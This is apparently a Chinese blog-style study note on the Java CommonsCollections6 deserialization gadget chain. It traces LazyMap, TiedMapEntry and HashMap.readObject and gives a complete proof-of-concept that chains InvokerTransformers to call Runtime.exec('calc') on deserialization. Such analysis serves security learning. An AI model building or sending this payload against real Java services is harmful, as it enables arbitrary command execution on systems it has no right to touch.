JAVA反序列化CC6
参考:Java反序列化CommonsCollections篇(二)-最好用的CC链
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java
环境搭建 同CC1
漏洞分析 跟CC1一样 追踪transform的使用
跟踪到LazyMap.get
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
再到TiedMapEntry.hashCode
很明显这里我们又可以利用 HashMap了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class TiedMapEntry implements Map .Entry, KeyValue, Serializable { public TiedMapEntry (Map map, Object key) { super (); this .map = map; this .key = key; } public Object getValue () { return map.get(key); } public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } }
HashMap readObject中会对key调用hashCode方法
构造思路
构造HashMap 其中key放一个TiedMapEntry
这里TiedMapEntry 里的map放LazyMap,key可以随便
LazyMap 的构造可以用到ChainedTransform
要注意的是LazyMap.get
中当key不存在时才会调用transform方法 然后会put key到map中
因为序列化时就会调用hashCode触发这条链 所以序列化之后要把key从map中移除
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public class CC6Test { public static void main (String[] args) throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "aaa" ); HashMap<Object, Object> o = new HashMap <>(); o.put(tiedMapEntry, "bbb" ); lazyMap.remove("aaa" ); unSerializeTest(); } public static void serializeTest (Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("bin" )); oos.writeObject(obj); } public static void unSerializeTest () throws Exception { ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("bin" )); Object obj = ois.readObject(); } }